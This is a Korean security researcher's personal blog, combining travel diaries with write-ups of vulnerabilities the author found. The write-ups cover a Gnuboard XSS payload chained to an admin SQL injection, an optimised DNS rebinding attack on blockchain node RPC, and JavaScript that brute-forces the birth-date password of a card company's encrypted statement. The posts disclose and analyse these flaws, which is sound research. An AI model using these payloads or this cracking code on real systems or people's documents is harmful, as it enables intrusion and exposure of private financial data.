Featured

소개글

반갑습니다!

제 이름은 임준오(Im, Juno)입니다.

이 블로그는 연구한 내용, 일상, 제 삶을 쓰려고 만들었습니다.

저는 올해(2018) 선린인터넷고등학교를 졸업하고 Theori라는 보안 회사에서 연구원으로 일하고 있습니다.  열심히 CTF 참가를 하고 있고 최근에는 PS에도 도전해보려고 합니다.

취미

여행 다니며 맛있는 음식을 먹는걸 좋아합니다.

전시회나 갤러리에 돌아다니는 것을 좋아합니다.

시간이 나면 독서를 하거나 영화를 봅니다.

최근에는 스쿠버 다이빙도 시작했습니다.


업데이트

2018-06-03 예전에 작성했던 기술 문서 / 여행 관련된 글을 조금씩 가져오려고 합니다. (완료)


모바일에서는 아래 버튼을 누르면 카테고리로 바로 이동할 수 있어요 !

이동

Latest Gnuboard version XSS to SQL Injection

 “3월의 나” 계획(브라우저 해킹)을 해놓고 2월의 나는 어디에 써놓았는지 기억이 안난다. OS X Kernel을 부시기로 했는데 조만간 부실 수 있을것 같다. 대신 OS X, iOS에서 발생하는 Exploitable할것 같은 버그를 찾았다. 열심히 분석해야겠다. 월간 임준오가 쉬면 곤란하니깐 2월엔 GnuBoard 취약점을 공개하겠다.

Summary

 BoB 과제를 진행하면서 찾은 취약점이다. 작년 시큐인사이드에서 adm1nkyj가 냈던 문제의 취약점과 매우 유사하다. 그 문제의 취약점도 그누보드 모티브다. 여기서 중요한건 패치를 전부 해야되는데 한곳만 해서 유사한 코드나 벡터를 통해 한번더 0-day로 만들 수 있다는 점이다.
 관리자 페이지에서 발생한 SQL Injection이라 관리자 권한을 흭득하는 XSS가 필요하다. 물론 XSS도 찾았기 때문에 같이 설명하겠다.

Vulnerability

– XSS

듣기로 그누보드 관리자 페이지에는 무수히 많은 XSS취약점이 존재한다. serialization동작 없이 `echo $variable;`을 하다보니 당연할 수 밖에 없다. 소스코드 리뷰를 진행하니 금방 찾을 수 있었다. adm/mail_select_form.php 파일 71, 114줄에  취약점이 존재한다.

value="">

그누보드에서는 모든 피라미터에 addslash하여 XSS를 방어한다. html tag를 파싱할때 attribute안에 있는 \”는 “라고 인식하지 않고 attribute의 종료로 인식된다. 따라서 다음과 같은 상황이 발생한다.


value="\">alert(1);">

성공적으로 공격이 가능하다,, Chrome XSS Auditor를 Bypass하려면 약간의 Trick을 주면 된다.- SQL Injectionaddslash를 하기 때문에 basic한 sql injection이 발생한 가능성이 없다. 그러므로 advanced한 취약점을 찾아야하는데,, 작년에 adm1nkyj가 secuinside때 낸 문제가 떠올랐다. 그 문제도 그누보드를 사용한 third-party앱에서 찾은 취약점을 기반해 낸것이다. 관련된 코드를 찾으니 아직 패치가 되지 않은 한 부분이 있었다.. adm/auth_list_delete.php 파일 12~24줄을 보면 된다. 요약하면 다음과 같다.인자를 Array로 받는 로직중 그 Array의 값을 그대로 sql query에 사용했을때 발생하는 문제다.

$b = $_GET['b'];
for ($i=0; $i<strlen($a); $i++) {
    $query = "select * from table1 where a='{$a[i]}' and b='{$b}';";
}
b는 addslash때문에 sqlinjection이 불가능하다. a는 Array를 줘야한다. 하지만 a가 String이 되어 버리면 어떻게 될까? 1 byte씩 들어가기 때문에 \를 하나 넣을 수 있게된다. 그렇게 되면…

// a : \ → addslash → \\
// b: Attack Query
$query = "select * from table1 where a='\' and b='Attack Query#';";<span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>

따단..


업데이트

26th Mar.

크레딧 상태가 이상하지만, 뭐 .. 어쩔 수 없다.

커밋 로그를 살펴보니 admin 페이지 말고도 file board쪽에서도 하나 더 있었나 보다, 뭐 이런류의 취약점은 많을거라 생각한다.

오키나와 여행기

3월 3일 1일차

오후 1시 30분 비행기를 타고 오후 4시 30분정도에 나하 공항에 도착했다. 비가 많이 내려 착륙이 40분 정도 지연되었다. 공항에서 숙소까지는 한 20분정도가 소요되었다. 원래 버스를 타려고 했지만 버스 타는곳을 찾지 못했다. 뮌헨에서도 그렇고 버스타는건 어렵다. 결국 모노레일을 타고 Prefectrual Office역에서 하차했다. 숙소에 도착해 짐을 풀고 뒹굴대다가 밥을 먹으러 갔다. 가기 전 여러 맛집들이나 관광명소를 찾아보기 위해 네이버 블로그를 돌아본 결과, 길을 걷다 분위기가 좋은 집에 들어가라고 했다. 어디든지 다 맛있다고. 숙소 앞에 있는 라멘집을 선택했다. 라멘이 기름기가 많고 영양소가 풍부해 여행 첫날에 어올린다고 했다. 맛있게 먹고 그냥 숙소에 들어가기 아쉬워 마트에가 생수와 간식을 샀다. 숙소에서 목욕하고 뒹굴대다가 잠에 들었다. 일본은 작은 집이라도 모두 욕조가 있어 좋은것 같다. 따듯한 물에 몸을 담구는건 언제든 좋아.

부릉 부릉

첫날 먹었던 라멘

3월 4일 2일차

새벽 7시쯤에 잠에서 깼다. 12시쯤 완벽하게 잠에서 깰 수 있었는데, 잠을 설친 탓인지 씻다가 코피가 났다. 츄라우미 수족관과 코끼리 바위로 알려진 만좌모등을 둘러보기위해 계획을 짰다. 그런데 오키나와섬의 북부라 내가 있는 숙소와는 2시간 이상 차이가 난다. 마치 제주도의 제주시와 서귀포시의 차이 정도이다. 절망하고 있는 사이 네이버 지식인에 버스투어를 추천하는 답변을 보았다. 당장 알아보았다. 이런, 예약이 모두 마감되거나 3일전 예약이라 우리가 오키나와에 있는 동안은 이용할 수 가 없었다. 절망에 빠져있던 우리를 구해준건 한 여행사였다. 화요일에 예약이 가능했다! 화요일은 비도 안오고 좋은 날씨기에 기분이 좋았다. 예약을 한후 아침이자 점심이자 저녁을 16시에 먹으러 나갔다. 일본은 스테이크가 비교적 한국에 비해 저렴하기 때문에 많이들 먹는다. 우리는 랍스터와 스테이크 세트 2개와 안심 스테이크 1개를 시켰다. 물도 기본적으로 제공해줘서 행복했다. 스테이크는 진짜 환상적이었다. 굽기는 미디움으로 했는데 미디움 레어에 비해 더 맛있었던것 같다. 안심이 미디움이었다. 맛있게 밥을 먹고 바다를 보러 나미노우에 해변에 갔다. 바다 가는길에 신사가 있어 잠깐 들렀다. 소원과 함께 기도를 드린 후 오미쿠지를 뽑으러 갔다. 중길이 나왔는데 가장 인상깊었던건 Always remain honest. 서양 관광객들도 많이 보이고 일본 아이들 산책나온 노부부들 데이트하러온 연인들이 보였다. 그들은 모두 행복해 보였다. 후후, 나도 나중에 여자친구랑 오고싶다. 바다에 발을 담궈보였다. 아직은 차다. 내 인생처럼 아직 화창한 여름이 되려면 조금 남은것이다! 돌아오는 길에 여러 정원들 공원들을 살펴보았다. 오는길에 인상적인 이쁜 식당을 보았다! 숙소에 들어와 잠시 휴식을 취한 후 국제거리를 향했다. 국제거리는 동양의 하와이라고 불리우는 곳이다. 나하공항에 도착했을때 놀랐던건 야자수가 있다는 것이다. 국제거리 곳곳에 야자수들이 심어져 있어 하와이를 연상케한다. 아, 숙소 주변엔 한국분들이 안계셨는데 국제거리에는 이곳 저곳에서 한국어가 들려왔다. 포장마차 거리에서 저녁을 먹으려 했는데 앞까지 가서 먹을것이 별로 없는것과 다훈이형이 배가 안고파 그냥 나왔다 ㅜㅜ. 돈키호테 구경하고 녹차맛 엔초맛 아이스크림을 입에 물고 숙소를 행했다. 아 참, 돌아오는 길에 패밀리마트에서 아침에 먹을 컵라면과 저녁에 먹을 맥주와 도시락을 샀다! 여행을 하면 즐거운 이유가 내일은 또 무얼 할지 설레는 마음으로 잠자리에 들 수 있어서인것 같다. 한국에 돌아가면 이런 마음가짐으로 인생을 조금 더 열심히 살아봐야겠다. 이제 씻고 잘거다. 자기전에 컴퓨터 하다가 7공주가 슈가맨에 나온것을 보았다. 오인영씨의 인스타와 페이스북을 보며 느낀건, 모든걸 가졌는데도 자기 자신에 부족하다 느끼고 열심히 하는 사람이란 것이다. 이렇지 못한 내 자신에 반성한다. 현재 삶에 안주하지 말고 항상 최선을 다해야겠다.

먹었던 스테이크

오마쿠지

가는 길에 벗꽃 이뻐서..

해변

퐁당

3월 5일 3일차

아침 부터 비가 내린다. 아침은 어제 사온 우동을 먹고 4시-5시까지 침대에서 뒹굴었다.. 류보 백화점의 포켓몬 스토어를 갔다. 귀여운 포켓몬들이 참 많았다. 잠만보 인형과 미니레고를 구매했다. 국제거리의 포장마차 거리에서 솜사탕 스키야키로 저녁을 먹은 후 돈키호테에서 물건들을 샀다.. 시간이 지나고 쓰는 글이라 기억이 가물가물하다.. 무료하게 시간을 보내고 숙소에서 휴식을 취하며 내일 있을 버스 투어를 준비했다.

맛있었다

잠만보

솜사탕 스키야키, 녹고나서 먹으면 된다

가리비 요리.. 맛있다

3월 6일 4일차

오늘은 오키나와 북부 버스투어가 있는 날이다. 7시 기상을 해야하는데 전날 너무 늦게 잠자리에 들어 힘들었다. 버스투어는 이틀전인 일요일날 예약했었다. 여행을 시작할때 랜드마크들이 몰려있는 북부에 대중교통이나 렌트카를 통해 가려고 했었다. 렌트카는 국제 운전 면허가 없기에 불가능 했고 대중교통은 시간도 시간이지만 비용이 너무 비쌌다. 왕복 인당 4천엔 정도. 그래서 교통비와 랜드마크 입장료가 포함되고 길라잡이와 함께하는 버스투어를 선택했다. 둘이합쳐서 11만원에 다녀왔다. 류보백화점에서 탑승해 T-Gallery, 아메리칸 빌리지를 거쳐 첫 목적지인 추라우미 수족관에 도착했다. 고래상어로 유명하다고 한다. 11시에 시작하는 돌고래 쇼를 관람했다. 길라잡이분이 말하시길, 어떤 분들은 돌고래를 학대하는거지 않냐, 라고 하시는분들이 계시다고 했다. 돌고래는 아이큐가 높은 동물이기에 스트레스를 받으면 자살을 하게 된다. 하지만 쇼를 호스트하는 돌고래들은 자살 하지 않고 평균이상으로 장수하고 있다고 한다. 뭐 다들 맞춰살아가는게 아니겠는가. 수족관 안으로 들어가 여러가지 신비한 생물들을 보고 가장 귀여운 가오리도 보았다. 출구 바로 앞에 듀공과 바다거북이가 사는 곳이 있다. 듀공 또한 너무 귀엽다 흑흑.. 점심시간이 되어 무얼 먹을까 고민하다 버스에서 내렸던 샌츄리온 호텔 뷔페를 가기로 했다. 맛은, 별로였다. 아니 먹는게 힘들었다. 흑흑.. 이런 뷔페를 4만원이나 주고 먹다니… 암튼 밥의 여파였을까 여행 내내 조금 골골 되었다. 두번째 목적지는 코우리 대교다. 바다 풍경이 참 이쁘다. 다리위에서 바다를 보면 얕아보이는데 물이 맑아서 그렇다고 한다. 얕은곳도 3~4M고 깊은곳은 수십M라고 한다. 다리 아래에 해변이 있다. 해변을 돌아다니다가 용진이 동생을 보았다 ㅋㅋㅋ. 오키나와는 섬이라 다양한 소금이 많이 생산된다고 했다. 그래서 그런지 소금맛 아이스크림도 있다. 블루씰이란 아이스크림가게에서 소금과 바닐라를 먹었다. 한 40분 버스를 탔나 파인애플 파크에 도착했다. 입구에서 사진을 찍어주는데 추라우미 수족관처럼 무료로 주지 않고 다 사야한다. 너무 비싸다 !!! 입장하면 무인 자동차를 타고 공원 내부를 둘러볼 수 있는데 움직이는게 신기하다. 분명 바닥엔 센서같은게 없어보이는데 자동으로 움직인다.. Self-Driving Car 기술이 이런 공원까지 들어오다니.. 뭐 아무튼 원리를 찾지 못했다.. 차간 간격도 잘 유지하고 신기하다. 공원 출구에는 어디에서나 볼 수 있는 기념품 판매점이 있다. 파인애플 파크에는 색다른점이 있는데, 모든 기념품을 체험하고 시식해볼 수 있다는것이다. 파인애플 파크에서 재배한 파인애플로 만든 여러가지 음식이 눈에 띄었다. 난 그중에서도 파인애플 레드 와인이 젤 맛있었다. 아 참 중간에 오마쿠지 비슷한게 있어서 뽑았는데 온통 일본어로 되어있었다. 길라집이분에게 부탁드리니 읽어주셨다. 꼭 성공한다고 하시더라 대길이라고. ㅎㅎㅋ 열심히 살아야징. 마지막 장소인 만좌모로 향했다. 만좌모는 만명이 앉을 수 있을만큼 넓다고 이름이 붙어진거다. 괜찮아 사랑이야 촬영지이기도 하다. 실제로 만좌모 위에는 못가보고 건너편 절벽에서 볼 수 있었다. 어딜가나 그렇듯 중국인들이 진짜 많았다. 사진 찍기도 힘들어서 진짜 대충 찍었다. 아, 그리고 바닷가라 그랬는지 몰라도 바람이 엄청 불었다. 셔츠를 안챙겨갔으면 감기에 걸렸겠지.. 우리의 버스투어는 여기까지다. 하지만 중간에 아메리칸 빌리지에서 내릴 수 있어 둘러보기로 했다. 사실 가장 큰 목적은 관람차를 타는것이었다. 어릴때 에버랜드에서 탄것 말고는 한국에서 타본적이 없어 항상 관람차에 대한 욕구가 강했다. 베가스에서도 하이롤러를 탔듯이 아메리칸 빌리지에서도 관람차를 탔다. 분명 줄이 있을것 같았는데 다행이 사람이 없어 바로 탈 수 있었다. 야경이 진짜 멋있었다. 저녁은 타코라이스라는것을 먹었다. 맛은 평범했다. 스시는 한국에서 하도 먹었기에 이번 여행에 먹지 않았나 싶다. 택시에 힘든 몸을 싣고 숙소로 향했다. 짐 정리를 하고 잠에 들었다.

커여운 돌고래

코우리 대교

소금 바닐라맛 아이스크림

무인으로 운행되는 자동차들..

타코 라이스

아메리칸 빌리지에서

3월 7일 5일차, 마지막 날.

오늘은 한국가는 날이다. 비행기는 4시 35분. 체크아웃은 12시. 그 동안 할게 필요했다. 원래 내 계획은 슈리성이나 나하에서 가까운 관광지를 둘러보는 것이었는데 늦게 일어나기도 했고 시간도 없을것 같아서 점심만 먹고 공항 가기로 했다. 야키니쿠를 먹으려 했지만 밤 부터 열기에 첫날 봐둔 텐동집에 갔다. 텐동과 츠케멘 세트를 시켰다. ㅎ후 맛이 아주 좋았다. 배불러서 얼마 먹지 못한게 참 아쉽다. 공항은 모노레일을 타고 갔다. 나하 공항은 무척 작았다. 체크인 카운터도 2개밖에 없었다. 하나를 두 항공사가 나눠써 3개까지 만들어졌네 1시쯤 가면 30분 기다리고 체크인 할 수 있을줄 알았는데 2시간 전부터 열린다. 카페에서 한참 시간을 보내다 수속을 마치고 면세점 안으로 들어갔다. 면세점도 작았다.. 가는 비행기도 30분 딜레이 되었다.. 보딩하자마자 잠에들어 순식간에 인천공항에 도착했다. 계절밥상에서 저녁 먹으려고 했는데 찾지 못해 뚜레쥬르에서 간단하게 밥을 먹었다!

텐동과 츠케멘

인천 저녁

만든것

끝으로,,

여행을 하면 항상 배우는게 많다. 번뜩이는 아이디어도 몇개 떠오르고, 여행 관련 서비스 아이디어도 하나 생각났다. 지금 까지 나온 서비스들의 단점이랄까.. 불편한점을 최소한 것이다. 뭐 암튼 휴양에 가까운 여행이었는데 나름 버스투어도 예약하고 알차게 보냈던것 같다!!! 다다음주에 싱가폴 가는데 (여행은 아니지만,,) 재미있었으면 좋겠다! 아니 여행은 항상 즐거워 !

여행을 하면 즐거운 이유가 내일은 또 무얼 할지 설레는 마음으로 잠자리에 들 수 있어서인것 같다. 한국에 돌아가면 이런 마음가짐으로 인생을 조금 더 열심히 살아봐야겠다. 이제 씻고 잘거다.

이 부분이 가장 맘에 돈다 !!

잘자렴 여러분~~

Attack Block Chain Node’s JSON RPC with Efficient DNS Rebinding Attack

 구글의 타비스가 Blizzard 앱에서RPC auth mechanism이 DNS Rebinding를 통해 공격이[1] 가능하다는것을 언급했다. 며칠 뒤 페이스북이랑 트위터에서 geth(go-ethereum) RPC와 몇가지 블록체인 노드들의 RPC에 DNS Rebinding Attack이 가능하다는 여러가지 이야기가 들려왔다.
 우선 이더리움 Geth에서 비오비 프로젝트를 하면서우리 팀이 찾았던 CORS이슈와 제시했던 패치 방안과 대해서 설명한다. 타 블록체인 노드에서 발생한 0-day 그리고 공격에 사용되었던 효율적인 DNS Rebinding Attack을 소개한다.

DNS Rebinding Attack

 0ctf 2016의 Monkey 문제가 DNS Rebinding Attack을 소개하는 글중에 하나이다. [7] 아마 이 문제 이후에 용진이형이 알려줬었다. 더 알아보고 싶으면 용휘형이 예전에 번역했던 글을 참고해서 읽어도 좋다. (http://gooverto.tistory.com/entry/the-power-of-dns-rebinding-stealing-wifi-passwords-with-a-website-translated) 일반적으로 말하는 DNS Rebinding Attack Browser의 SOP를 우회하기 위한 기술중 하나이다. 플로우차트를 그려보면 다음과 같다.
1. junoim.kr을 NS에 요청하면 174.138.24.108을 반환한다.
2. 네임서버의 레코드를 빠르게 바꾸고 브라우저에서 DNS Cache가 flush될때까지 기다린다.
3. 그 후 NS에 요청을 보내면 127.0.0.1을 반환하게 된다.
이러한 요청은 브라우저에서 domain뿐만 아니라 ip까지 확인하면 되지만 벤더사들은 클라이언트 단에서 미티게이션을 추가하는것은 false negative한 case들 때문에 불가능하다고 생각해 wontfix처리 했다. [2]
위 방법을 사용하면 브라우저의 DNS Cache가 비워질때까지 기다려야 하기 때문에 60초가 필요하다. 뭐 eviction을 하면서 다른 값으로 덮어서 없앨 수도 있는데 그래도 20초 이상이 필요하다. optimization을 하기 위해 사용한 방법은 다음과 같다.
0. 도메인의 A레코드에 정상적인 서버의 아이피와 127.0.0.1를 등록해둔다. (with order fixed option)
1. junoim.kr을 NS에 요청하면 174.138.24.108을 반환한다.
2. 첫 요청이 들어오면 서버를 끄던가 요청된 IP를 iptables를 이용해 블락한다.
3. 브라우저에서 바로 다음 요청을 보내면 공격자의 서버에서는 TCP RST 패킷을 보내게 된다.

4. RST 패킷을 받으면 브라우저에서는 다음 레코드를 사용하게 된다. (127.0.0.1)

Tendermint Node RPC 0-day

 떡락이의 블록체인연구소 (https://www.facebook.com/blockchain.gazua/) 에서 tendermint를 언급한적이 있다. 뭐.. 자세한건 안봐서 모르겠지만 얘도 노드를 사용한다 ! RPC 통신도 지원한다!
tendermint.exe node –proxy_app=dummy
명령어를 통해 실행할 수 있다. 데모 영상이다.

Mitigation

 매우 간단한 패치로 공격을 막을 수 있다. 서버 측에서 Request측의 IP와 HTTP 헤더의 host, origin를 검사하면 된다. 이런식으로 패치해도 타 process에서 보내거나 extension에서 보내게 되면 막을 방법이 없기 때문에 신뢰할 수 있는 종단간 암호화를 통한 인증과정을 도입시켜야 된다. e.g.) username/password

Others

Ethereum Geth RPC에 Dns Rebinding Attack 문제는 오래전 부터 있었다. [4], [8] 물론 비슷한 케이스로 CORS Bypass 문제도 있었다. 비오비 프로젝트를 하면서 찾은 취약점 중에 하나인데 바운티에 신고를 했을때 다음과 같은 답장이 왔었다.
This is actually a known issue, one of the first we got via the bug bounty program. Nevertheless, we’ve decided to change the behaviour, but we won’t change anything before Byzantium: since people will be forced to update for the fork, we don’t want to force a potentially breaking API-change on people/businesses.
2016년에 이미 관련된 이슈가 제보 되었다는걸 알려주었다. 뭐 CORS 이슈라 아래와 같이 패치방안을 제공해주었다. 사실 이대로만 패치 되었더라도 DNS Rebinding Attack은 바로 막히는데 아쉽다.
if not request.headers['origin'] in allowedOrigin:
    return Error("WTF! your origin is not in allowedOrigin list.")

Victim의 Public IP Address를 모르는 상황에서 공격하는 시나리오였기 때문에 요청한 IP Address를 검사하는 로직도 추가되어야 한다. (0.0.0.0로 바인드 하는 상황이면)위와 비슷하게 Cisco Talos가 Parity 에서도 동일한 취약점을 찾았다. [9]

Ref

신한카드 이용대금 명세서 개인 비밀번호 분석 및 크랙

오랫만에 메일함을 들어갔더니 “[신한카드] 임준오님의 01월10일 체크카드 이용대금 명세서입니다.” 이런 제목의 메일이 와있었다. 예전에도 몇번 받아봤는데 첨부파일에 html파일이 있고 생년월일을 입력하면 명세서를 보여주는 형식이었다.

메일 화면

보안 이메일 명세서라고 나와있는데 얼마나 안전한가 한번 시험해보고 싶었다.

생년월일을 받는다.
내 생년월일을 입력하면 정상적으로 열리게 된다.

이제 소스를 열어보자.

뭔가 난독화가 많이 되어 있다. 일단 beautify 를 해보자.

이제 좀 보인다. 분석을 시작하자!

1. 생년월일을 비교하는 부분을 찾는다.

2. 연산하는 곳을 찾는다.

3. 복호화 코드를 짠다.

이 순으로 분석을 하면 될것 같다.

1. 생년월일을 비교하는 부분을 찾는다.

어떻게 찾을까 생각해봤는데 생년월일이 일치하지 않으면 아래와 같은 alert 창을 띄운다.

저 문자열을 찾아가면 될것 같다.

근데 난독화가 되어있어 alert 함수나 띄우는 문자열을 찾을 수 없었다.

약간의 감을 통해 최상단에 있는 문자열 배열이 함수명이나 메시지들을 담고 있을것 같았다.

엇.. alert가 있다…?

기억을 더듬어 보니 alert가 무려 17개나 있어 문자열로 찾았던 기억이 난다.

그럼 이제 저 지점에 브레이크포인트를 걸고 동적 디버깅을 해보자!

1234를 넣고 상황을 지켜보았다.

1345번째 줄을 보면 _0x9319xd9(함수의 인자) 변수에 내 비밀번호가 들어왔고 1348번째 줄에서 _0x9319xdf함수의 인자로 넘어갔다. 그럼 _0x9319xdf 함수가 복호화하는 함수다 !

2. 연산하는 곳을 찾는다.

1354번째 줄에서 _0x9319xde에 복호화한 값이 들어갔다.

복호화하는 로직을 보니 고정된 키를 사용하는것이 아닌 인풋을 키로 하여 복호화를 진행한다. 복호화 하는 함수를 조금더 분석해보자.

flow: _0x9319xdf -> _0x9319xe2 -> _0x9319xe2

불러오는 함수를 계속 따라가 보면 _0x9319xe4에 “SEED-CBC”란 값을 넣는걸 볼 수 있다.

SEED-CBC를 사용한다고 알려준다. SEED-CBC의 상세한 로직은 이미 쓰고 있는 곳들이 많아 안전할거라 생각하고 따로 분석하지 않았다.

3. 복호화 코드를 짠다.

내가 준 인풋(사용자의 생년월일)을 키로 사용하고 SEED-CBC 블록암호를 사용하기 때문에 복호화 코드를 짜도 의미가 없다. 아니 이미 복호화 해주는 코드는 내장되어 있다. 단지 키를 정의할 수 없을 뿐이다.

키를 구해야 되기 때문에 브루트포싱밖에 답이 없다. 하지만 복호화 하려는 데이터가 너무 크기때문에 1초정도 걸린다.

대충 계산 해보면..

1년을 365로 가정하고 카드 사용자층을 10대 ~ 60대로 선정하면 총 60년을 상대로 브루트포싱해야됨.

그러면 최종적으로 1s * 365 * 60 = 21900s = ~6시간

한개를 복호화 하는데 6시간이나 필요하다. 물론 쓰레딩으로 처리하면 줄일 수 있겠지만 현저히 많은 시간이다.

그러면 과연 더 나은 방법이 없을까?

생각 하던중 정상적으로 복호화 되었는지의 여부를 판별하는 곳을 보았다.

xxx(0, 10) == aaaaa

어.. 복호화된 앞 부분에서 비교를 한다라 .. ?

수 많은 블록을 한 블록으로 줄일 수 있게 되었다.

UNISAFESMAIL_DATA = btoa(atob(UNISAFESMAIL_DATA).substr(0, 16));

한 블록으로 줄인 후 브루트포스 코드를 구현했다.

완성된 브루트포스 코드는 아래와 같다.

function brutePassword() {
    for (var year=50; year<100; year++) {
        for (var month=1; month<=12; month++) {
            var tmp = month+"";
            if (tmp.length == 1)
                tmp = "0"+tmp;
            month = tmp;
            for (var day=1; day<=31; day++) {
                var tmp = day+"";
                if (tmp.length == 1)
                    tmp = "0"+tmp;
                day = tmp;
                isSuccess = new UniSafeMail().unisafe_smail_process(year+month+day);
                if (isSuccess) {
                    console.log(year+month+day);
                    return year+month+day;
                }
            }
        }
    }
}

뮌헨, 퓌센 그리고 부카레스트

D-CTF Final에 참가하기 위해 유럽으로 떠났다.
재미있는 경험 그리고 나 혼자 계획했던 여행이라 그런지 보람찼다. (같이간 용머는,, 뭐,, 열심히 따라와준 것 만으로도 고맙다 ~~ !). 마지막 도하에서, 트위터에 써논 글과 찍었던 사진을 바탕으로 열심히 써봐야겠다.

우선 우리의 일정은 이랬다.

인천 -> 도하 -> 뮌헨 -> 이아시 -> 부카레스트 -> 도하 -> 인천

이제 여행 이야기를 시작해보려고 한다.

모든건 일찍, 미리 미리.

그렇다. 어찌 되었건, 총 6번의 비행을 했다. 도하는 카타르 항공을 이용하기로 했으니 괜찮았는데, 문제는 뮌헨 -> 부카레스트 할때 이아시 경유 인 것이었다. 10월 중순, 할거없길래 비행기나 예약해보자는 마음으로 카약에 뮌헨 -> 부카레스트를 한번 검색해봤다. 분명 이때 루프트한자 8만원 짜리 티켓이 있었다… 루프트한자 “8만원”이었기 때문에, 이게 평균 가격인줄만 알았다. 그런데 왠걸? 이런 안일한 마음이 여행 하루전까지도 뮌헨에서 부카레스트 넘어가는 비행기를 예약하지 않았다. 물론 그런 마음덕에 호텔도 예약 하지 않아서 당일날 예약했다.

호텔 같은 경우는 뮌헨은 이미 활성화가 잘된 관광지이고, 마리엔 광장이란 큰 중심지가 있어 싼 가격에 호텔이 많았다. 이제 비행기의 차례다. 검색 결과,, 직항 30 ~ 40 만원. 경유 15~20만원. 절망 그 자체였다. 그래도 이거라도 타야지 하는 심정으로 15만원 짜리 블루에어를 끊었다. 방금 (Nov 20th. 01:09) 다시 검색해보니 30만원이 원래 가격이었다.

뮌헨에서,

공항에서, 숙소로.

12시 즈음 뮌헨 공항에 도착했다. 아니 11시였나. 암튼 내리자마자 우분투 CTF 순위를 확인했다. 이런, 2등이었다. 그래서 얼른 공항 와이파이에 접속해 남은 문제를 확인했다. 쉘코드 문제 2개와 메뉴 챌린지가 1개 있었다. 난 태양이보고 쉘코드 문제를 잡자고 했다. 아는것이면 금방 풀기 때문. 두 문제 모두 쉽게 풀 수 있는 것이었다. 첫번째는 cs 레지스터를 통한 () 스위칭 문제였다. sctf 문제, diary 문제와 유사했다. sctf 라이트업을 던져주고 남은 한 문제를 풀었다. 필터링 걸린 쉘코드 문제였다. 공항에서 숙소있는곳(마리엔 광장) 으로 가기위해 지하철을 이용했다. 예상시간보다 마리엔 광장에 일찍 도착했는데, 문제 풀다가 못내릴뻔 했다 ㅋㅋ. 지하철역에 도착해서 거의다푼 쉘코드 문제를 계속 풀었다. 결국 15분 만에 풀었다. 1등했다 후후~

마리엔 광장, 막시밀리안 거리

숙소에 짐을 풀어두고, 광장을 걷기로 했다. 그 날은 비가 왔다. 몇년전 파리에서도 비를 맞은적이 있는데, 그때 누군가 그랬다.. 유럽사람들은 이정도 내리는 비는 낭만이라고,, 낭만은 무슨 춥고 배고파서 우산 쓰며 거리를 누볐다. 한참 걷다보니 길거리에 명품샵들이 즐비해 있었다. 독일인들의 신기한점은, 상점 내부의 불은 전부 켜놓고, 영업을 안한다는 것이었다. 일요일은 무조건 쉰다고 했다. 슈퍼마켓도 일요일이면 문을 닫는다. 거리는 황홀하였고 예뻤다. 나중에 안 사실인데 한참을 걷던 거리의 이름은 막시밀리안 거리였다.

아침, 그리고 퓌센으로

독일에 오기전 뮌헨에서 어디를 갈까 고민하던중 윤호형한테 추천받은 곳이있다. 목욕탕퓌센 그리고 뉘른베르크다. 퓌센을 검색엔진에 검색해보니, 낯이 익은 성 이미지 여러장이 보였다. 디즈니 로고의 모티브가된 성이다. 이름은 노이슈반슈타인 성. 뉘른베르크도 검색해보니, 뭔가 사진찍을 곳도 많아보였고 사람사는 동네가 예뻤다. 하지만 난 성을 보고 싶었기에 퓌센으로 향했다. 아침을 프랑스식으로 든든하게 먹고 호텔에 들렸다가 중앙역으로 출발했다. 나오는 길에 지갑을 두고나온것이 생각나 호텔로 다시 돌아갔다. 이 때문에 첫차를 놓치고야 말았다. 중앙역으로 가는 지하철역에 도착해서 느낀게, 어차피 지갑을 챙겨왔어도 첫차는 놓쳤을것 같다는 것. 지하철 방향이 매우 복잡했다. 한국에서는 무조건 양옆에 상행과 하행이 있는데, 독일은 그런 경우도 있고, 위 아래로 돼있는 경우가 있다. 마리엔 광장 역 같은경우가 딱 그 경우다. 첫번째 사람은, 이 방향이 아니라고 올라가서 다른 곳으로 가라해서 올라갔다. 하지만 다른 곳이 어딘지 몰랐다. 두번째 사람은 그냥 우리를 무시했다. 마음 속으로 “인종 차별인가?”, “동양인이라 무시하나?”, “어려보여서 그런가?”를 생각하며 욕을했다. 도하에서 깨달았던 건데, 사실 출근길에 누가 길물어보면 그냥 지나칠 사람도 많을것 같았다. 물어보면 대답해주는게 의무는 아니잖아. 뭐 기분이 좋지는 않았지만 다시 내려가 세번째 사람한테 물어보니 한층 더 내려가야 된다고 하시더라. 그런데도 내려가는곳을 못찾았다. 건너편에 있는것 같은데 넘어갈 방법을 못찾았다. 그래서 그냥 열차가 올때 타고 바로 반대쪽으로 내렸다. 독일은 신기한게 열차가 양옆으로 내린다. 매우 헷갈린다. 우여곡절 끝에 중앙역에 도착했다. 퓌센가는 기차가 1시간이나 남았다. 기차는 1시간 간격으로 직행, 1 경유가 반복해 배차돼있다. 직행을 놓쳤으니 경유를 해서 무서웠지만 뭐 별거 아니였다. 그냥 내린곳에서 다음차 타면 되는것이었다. 옆 칸에 한국분이 앉아있었는데 낯 가려서 말 못걸었다. 후회가 조금 된다. 혼자 오신것 같았는데 같이 사진찍어주면 재미있었을것 같다. 노이슈반슈타인 성을 제일 좋게 볼 수 있는 마리엔 다리는 하필 보수 공사 중이었다. 그냥 눈앞에 담고 싶어 올라갔지만, 눈과 비 그리고 안개 삼중 콤보로 흐릿하게나마 볼 수 있었다. 이날 우리는 15km를 걸었다. 무척 힘든 하루였지만 눈도 즐겁고 계획한 여행을 실현한다는 기쁨으로 몸을 달랬다.

부카레스트로,

공항에서 타고 왔던 기차를 반대로 타고가면 된다. 3시간이나 일찍 도착했다. 부모님이 항상 3시간 일찍 가라하셨기 때문에 그랬다. 1시간 30분정도 앉아서 휴대폰만 보고 있었다. 긴장의 연속이었다. 루마니아라는 낯선 곳에서 그것도 1시간 20분의 경유 시간으로 이름모를 항공사의 국내선을 환승 했어야 했기 때문이다. 경유지인 이아시에 도착했다. 입국심사때 이것저것 너무 많이 물어봤다. 울산 공항쯤되는 곳인데 외국인이 오니 신기했나 보다. 처음으로 마약 검사를 받았다. 랜덤으로 울리는것 같았는데 x-ray를 통과할 때였다. 부카레스트를 떠날때까지 난 검사를 받았다. 첫날 숙소에 도착하자마자 라면 하나 먹고 자버렸다. 매우 피곤했나 보다. 둘째 날에는 pwnthebytes팀의 cernica가 부카레스트를 가이드 해줬다. 유명한 식당에 가서 밥도 사줬는데 그렇게 맛있진 않았다. 호텔로 돌아와 마사지 받고 대회준비를 위해 누웠다.

